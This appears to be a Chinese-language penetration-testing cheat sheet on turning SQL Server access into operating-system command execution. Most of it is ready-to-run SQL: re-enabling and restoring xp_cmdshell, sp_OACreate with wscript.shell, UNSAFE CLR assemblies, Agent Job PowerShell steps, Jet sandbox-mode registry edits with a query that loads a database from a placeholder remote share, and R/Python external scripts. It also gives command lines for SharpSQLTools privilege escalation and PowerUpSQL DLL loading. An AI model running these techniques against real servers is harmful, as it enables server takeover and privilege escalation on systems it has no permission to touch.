SQL Server 命令执行方式汇总
字数 1474 2025-08-11 17:40:24
SQL Server 命令执行方式汇总
环境搭建
所需环境
- 服务器:Windows Server 2008
- 数据库:SQL Server 2008
安装步骤
- 下载并安装Windows Server 2008
- 导入SQL Server 2008镜像进行安装
- 使用Navicat等工具连接数据库
命令执行方法
1. 扩展存储过程(xp_cmdshell)
概念
xp_cmdshell是SQL Server中的一个组件,可以执行系统命令并以文本行方式返回输出。
利用条件
- SQL Server数据库没有被降权
- sa用户或其他具有dba权限的账户
具体利用
-- 开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 执行命令
exec master..xp_cmdshell "whoami"
-- 如果xp_cmdshell被删除,恢复方法
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'
2. 系统存储过程(sp_OACreate)
概念
通过创建OLE对象实例来执行命令。
利用条件
- SQL Server数据库没有被降权
- sa用户或其他具有dba权限的账户
具体利用
-- 检查sp_OACreate是否存在
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'
-- 启用OLE Automation Procedures
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
-- 执行命令(无回显,结果导出到文件)
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'
3. 本地存储过程(CLR)
概念
通过SQL Server编写CLR来执行系统命令。
利用条件
- 能启用CLR并可以创建自定义存储过程
- 当前账号具有执行命令/代码所需的权限
CLR编写步骤
- 使用Visual Studio创建SQL Server数据库项目
- 设置目标平台和SQLCLR权限级别为UNSAFE
- 编写C#存储过程代码
具体利用
-- 开启CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
-- 设置数据库为可信任
ALTER DATABASE master SET TRUSTWORTHY ON;
-- 导入程序集(字节流方式)
CREATE ASSEMBLY [quq] AUTHORIZATION [dbo] FROM 0x4D5A...0000 WITH PERMISSION_SET = UNSAFE;
go
-- 创建存储过程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [quq].[StoredProcedures].[ExecCommand]
go
-- 执行命令
EXEC [dbo].[ExecCommand] 'whoami'
工具推荐
- SharpSQLTools:可用于CLR提权、上传文件、反弹shell等
- SharpSQLToolsGUI:图形化界面工具,操作更直观
4. Agent Job执行命令
概念
通过SQL Server代理服务执行自动化任务。
利用条件
- 开启了MSSQL Agent Job服务
- 有权限新建和执行agent jobs
具体利用
USE msdb;
EXEC dbo.sp_add_job @job_name = N'test_powershell_job3';
EXEC sp_add_jobstep @job_name = N'test_powershell_job3',
@step_name = N'test_powershell_name3',
@subsystem = N'PowerShell',
@command = N'c:\windows\system32\cmd.exe /c whoami /all >c:\\123.txt',
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job3';
EXEC dbo.sp_start_job N'test_powershell_job3';
5. 沙盒模式提权
概念
通过对注册表的操作,利用jet.oledb.4.0驱动执行命令。
利用条件
- SA权限
具体利用
-- 激活沙盒模式(Windows 2003)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 激活沙盒模式(Windows 2008)
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Wow6432Node\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 执行命令(Windows 2003)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user >c:\test.txt ")');
-- 执行命令(Windows 2008 - 需要自己上传数据库文件)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\xxx.xxx.xxx.xxx\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\test.txt ")');
-- 创建数据库并执行命令
declare @hr int;
declare @object int;
declare @property int;
exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT;
exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml';
select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("cmd.exe /c CMD命令")')
6. R和Python脚本执行
概念
通过SQL Server 2017的机器学习服务执行Python和R脚本。
利用条件
- 安装了Machine Learning Services
- 启用了外部脚本
- 用户拥有执行外部脚本权限
具体利用
-- R脚本执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script @language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO
-- Python脚本执行命令
exec sp_execute_external_script @language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))
工具推荐
-
PowerUpSQL:强大的MSSQL攻击工具
- 创建自定义DLL:
Create-SQLFileXpDll -OutFile D:\exec.dll -Command "echo Exec test > C:\test.txt" -ExportName xp_test - 导入DLL:
sp_addextendedproc 'xp_test', 'D:\exec.dll' - 执行命令:
exec master..xp_test
- 创建自定义DLL:
-
SharpSQLTools:针对CLR利用的渗透工具
- 安装CLR:
SharpSQLTools.exe 10.10.10.18 sa sa master install_clr - 启用CLR:
SharpSQLTools.exe 10.10.10.18 sa sa master enable_clr - 执行命令:
SharpSQLTools.exe 10.10.10.18 sa sa master clr_efspotato whoami
- 安装CLR:
-
SharpSQLToolsGUI:图形化界面的SharpSQLTools
注意事项
- 不同方法适用于不同版本的SQL Server和Windows系统
- 执行命令可能需要管理员权限
- 某些功能默认是关闭的,需要先启用
- 无回显的命令可以将结果输出到文件再查看
- 部分方法依赖于特定组件或服务是否安装和启用